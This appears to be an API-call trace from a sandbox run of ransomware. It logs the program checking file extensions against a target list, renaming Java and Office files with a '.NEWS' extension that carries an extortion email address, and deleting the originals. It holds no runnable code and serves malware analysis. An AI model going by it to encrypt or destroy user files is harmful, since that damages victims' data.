(lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0166.455] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE" (normalized: "c:\\program files\\java\\jre1.8.0_144\\license")) returned 1 [0166.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.456] lstrlenW (lpString=".doc") returned 4 [0166.456] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0166.456] lstrlenW (lpString=".docx") returned 5 [0166.456] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0166.456] lstrlenW (lpString=".pdf") returned 4 [0166.456] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0166.456] lstrlenW (lpString=".xls") returned 4 [0166.456] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0166.456] lstrlenW (lpString=".xlsx") returned 5 [0166.456] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0166.456] lstrlenW (lpString=".ppt") returned 4 [0166.456] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0166.456] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.456] lstrlenW (lpString=".zip") returned 4 [0166.456] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0166.456] lstrlenW (lpString=".rar") returned 4 [0166.457] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0166.457] lstrlenW (lpString=".bz2") returned 4 [0166.457] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0166.457] lstrlenW (lpString=".7z") returned 3 [0166.457] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0166.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.457] lstrlenW (lpString=".dbf") returned 4 [0166.457] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0166.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.457] lstrlenW (lpString=".1cd") returned 4 [0166.457] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0166.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.457] lstrlenW (lpString=".jpg") returned 4 [0166.457] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0166.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.457] lstrlenW (lpString=".doc") returned 4 [0166.457] lstrcmpiW (lpString1=".doc", lpString2="ENSE") returned -1 [0166.457] lstrlenW (lpString=".docx") returned 5 [0166.457] lstrcmpiW (lpString1=".docx", lpString2="CENSE") returned -1 [0166.457] lstrlenW (lpString=".pdf") returned 4 [0166.457] lstrcmpiW (lpString1=".pdf", lpString2="ENSE") returned -1 [0166.457] lstrlenW (lpString=".xls") returned 4 [0166.457] lstrcmpiW (lpString1=".xls", lpString2="ENSE") returned -1 [0166.457] lstrlenW (lpString=".xlsx") returned 5 [0166.457] lstrcmpiW (lpString1=".xlsx", lpString2="CENSE") returned -1 [0166.457] lstrlenW (lpString=".ppt") returned 4 [0166.457] lstrcmpiW (lpString1=".ppt", lpString2="ENSE") returned -1 [0166.457] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.457] lstrlenW (lpString=".zip") returned 4 [0166.457] lstrcmpiW (lpString1=".zip", lpString2="ENSE") returned -1 [0166.457] lstrlenW (lpString=".rar") returned 4 [0166.457] lstrcmpiW (lpString1=".rar", lpString2="ENSE") returned -1 [0166.457] lstrlenW (lpString=".bz2") returned 4 [0166.458] lstrcmpiW (lpString1=".bz2", lpString2="ENSE") returned -1 [0166.458] lstrlenW (lpString=".7z") returned 3 [0166.458] lstrcmpiW (lpString1=".7z", lpString2="NSE") returned -1 [0166.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.458] lstrlenW (lpString=".dbf") returned 4 [0166.458] lstrcmpiW (lpString1=".dbf", lpString2="ENSE") returned -1 [0166.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.458] lstrlenW (lpString=".1cd") returned 4 [0166.458] lstrcmpiW (lpString1=".1cd", lpString2="ENSE") returned -1 [0166.458] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\LICENSE") returned 42 [0166.458] lstrlenW (lpString=".jpg") returned 4 [0166.458] lstrcmpiW (lpString1=".jpg", lpString2="ENSE") returned -1 [0166.458] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.458] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0166.458] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.750] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=18624) returned 1 [0166.750] CloseHandle (hObject=0x3ac) returned 1 [0166.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll")) returned 0x220 [0166.751] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.751] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.752] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.752] lstrlenW (lpString=".doc") returned 4 [0166.752] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.752] lstrlenW (lpString=".docx") returned 5 [0166.752] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.752] lstrlenW (lpString=".pdf") returned 4 [0166.752] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.752] lstrlenW (lpString=".xls") returned 4 [0166.752] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.752] lstrlenW (lpString=".xlsx") returned 5 [0166.752] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.752] lstrlenW (lpString=".ppt") returned 4 [0166.752] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.753] lstrlenW (lpString=".zip") returned 4 [0166.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.753] lstrlenW (lpString=".rar") returned 4 [0166.753] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.753] lstrlenW (lpString=".bz2") returned 4 [0166.753] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.753] lstrlenW (lpString=".7z") returned 3 [0166.753] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.753] lstrlenW (lpString=".dbf") returned 4 [0166.753] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.753] lstrlenW (lpString=".1cd") returned 4 [0166.753] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.753] lstrlenW (lpString=".jpg") returned 4 [0166.753] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.753] lstrlenW (lpString=".doc") returned 4 [0166.753] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.753] lstrlenW (lpString=".docx") returned 5 [0166.753] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.753] lstrlenW (lpString=".pdf") returned 4 [0166.753] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.753] lstrlenW (lpString=".xls") returned 4 [0166.753] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.753] lstrlenW (lpString=".xlsx") returned 5 [0166.753] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.753] lstrlenW (lpString=".ppt") returned 4 [0166.753] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.753] lstrlenW (lpString=".zip") returned 4 [0166.753] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.753] lstrlenW (lpString=".rar") returned 4 [0166.754] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.754] lstrlenW (lpString=".bz2") returned 4 [0166.754] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.754] lstrlenW (lpString=".7z") returned 3 [0166.754] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.754] lstrlenW (lpString=".dbf") returned 4 [0166.754] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.754] lstrlenW (lpString=".1cd") returned 4 [0166.754] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-file-l2-1-0.dll") returned 77 [0166.754] lstrlenW (lpString=".jpg") returned 4 [0166.754] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.754] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.754] lstrlenW (lpString="api-ms-win-crt-math-l1-1-0.dll") returned 30 [0166.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.755] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=27840) returned 1 [0166.755] CloseHandle (hObject=0x3ac) returned 1 [0166.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220 [0166.756] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.756] lstrlenW (lpString=".doc") returned 4 [0166.756] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.756] lstrlenW (lpString=".docx") returned 5 [0166.756] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.756] lstrlenW (lpString=".pdf") returned 4 [0166.756] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.756] lstrlenW (lpString=".xls") returned 4 [0166.756] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.756] lstrlenW (lpString=".xlsx") returned 5 [0166.756] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.756] lstrlenW (lpString=".ppt") returned 4 [0166.756] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.756] lstrlenW (lpString=".zip") returned 4 [0166.756] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.756] lstrlenW (lpString=".rar") returned 4 [0166.756] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.756] lstrlenW (lpString=".bz2") returned 4 [0166.757] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.757] lstrlenW (lpString=".7z") returned 3 [0166.757] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.757] lstrlenW (lpString=".dbf") returned 4 [0166.757] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.757] lstrlenW (lpString=".1cd") returned 4 [0166.757] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.757] lstrlenW (lpString=".jpg") returned 4 [0166.757] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.757] lstrlenW (lpString=".doc") returned 4 [0166.757] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.757] lstrlenW (lpString=".docx") returned 5 [0166.757] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.757] lstrlenW (lpString=".pdf") returned 4 [0166.757] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.757] lstrlenW (lpString=".xls") returned 4 [0166.757] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.757] lstrlenW (lpString=".xlsx") returned 5 [0166.757] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.757] lstrlenW (lpString=".ppt") returned 4 [0166.757] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.757] lstrlenW (lpString=".zip") returned 4 [0166.757] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.757] lstrlenW (lpString=".rar") returned 4 [0166.757] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.757] lstrlenW (lpString=".bz2") returned 4 [0166.757] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.757] lstrlenW (lpString=".7z") returned 3 [0166.757] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.758] lstrlenW (lpString=".dbf") returned 4 [0166.758] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.758] lstrlenW (lpString=".1cd") returned 4 [0166.758] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll") returned 76 [0166.758] lstrlenW (lpString=".jpg") returned 4 [0166.758] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.758] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.758] lstrlenW (lpString="api-ms-win-crt-multibyte-l1-1-0.dll") returned 35 [0166.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.759] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=26816) returned 1 [0166.759] CloseHandle (hObject=0x3ac) returned 1 [0166.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0166.759] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.759] lstrlenW (lpString=".doc") returned 4 [0166.759] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.759] lstrlenW (lpString=".docx") returned 5 [0166.759] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.759] lstrlenW (lpString=".pdf") returned 4 [0166.759] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.759] lstrlenW (lpString=".xls") returned 4 [0166.759] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.759] lstrlenW (lpString=".xlsx") returned 5 [0166.759] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.759] lstrlenW (lpString=".ppt") returned 4 [0166.759] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.760] lstrlenW (lpString=".zip") returned 4 [0166.760] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.760] lstrlenW (lpString=".rar") returned 4 [0166.760] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.760] lstrlenW (lpString=".bz2") returned 4 [0166.760] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.760] lstrlenW (lpString=".7z") returned 3 [0166.760] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.760] lstrlenW (lpString=".dbf") returned 4 [0166.760] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.760] lstrlenW (lpString=".1cd") returned 4 [0166.760] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.760] lstrlenW (lpString=".jpg") returned 4 [0166.760] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.760] lstrlenW (lpString=".doc") returned 4 [0166.760] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.760] lstrlenW (lpString=".docx") returned 5 [0166.760] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.760] lstrlenW (lpString=".pdf") returned 4 [0166.760] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.760] lstrlenW (lpString=".xls") returned 4 [0166.761] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.761] lstrlenW (lpString=".xlsx") returned 5 [0166.761] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.761] lstrlenW (lpString=".ppt") returned 4 [0166.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.761] lstrlenW (lpString=".zip") returned 4 [0166.761] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.761] lstrlenW (lpString=".rar") returned 4 [0166.761] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.761] lstrlenW (lpString=".bz2") returned 4 [0166.761] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.761] lstrlenW (lpString=".7z") returned 3 [0166.761] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.761] lstrlenW (lpString=".dbf") returned 4 [0166.761] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.761] lstrlenW (lpString=".1cd") returned 4 [0166.761] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 81 [0166.761] lstrlenW (lpString=".jpg") returned 4 [0166.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0166.761] lstrcmpiW (lpString1=".dll", lpString2=".NEWS") returned -1 [0166.761] lstrlenW (lpString="api-ms-win-crt-private-l1-1-0.dll") returned 33 [0166.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0166.762] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x335ff14 | out: lpFileSize=0x335ff14*=70848) returned 1 [0166.762] CloseHandle (hObject=0x3ac) returned 1 [0166.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220 [0166.762] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0166.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0166.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.763] lstrlenW (lpString=".doc") returned 4 [0166.763] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0166.763] lstrlenW (lpString=".docx") returned 5 [0166.763] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0166.763] lstrlenW (lpString=".pdf") returned 4 [0166.763] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0166.763] lstrlenW (lpString=".xls") returned 4 [0166.763] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0166.763] lstrlenW (lpString=".xlsx") returned 5 [0166.763] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0166.763] lstrlenW (lpString=".ppt") returned 4 [0166.763] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0166.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.763] lstrlenW (lpString=".zip") returned 4 [0166.763] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0166.763] lstrlenW (lpString=".rar") returned 4 [0166.763] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0166.763] lstrlenW (lpString=".bz2") returned 4 [0166.763] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0166.763] lstrlenW (lpString=".7z") returned 3 [0166.763] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0166.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.763] lstrlenW (lpString=".dbf") returned 4 [0166.763] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0166.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.764] lstrlenW (lpString=".1cd") returned 4 [0166.764] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0166.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll") returned 79 [0166.764] lstrlenW (lpString=".jpg") returned 4 [0166.764] 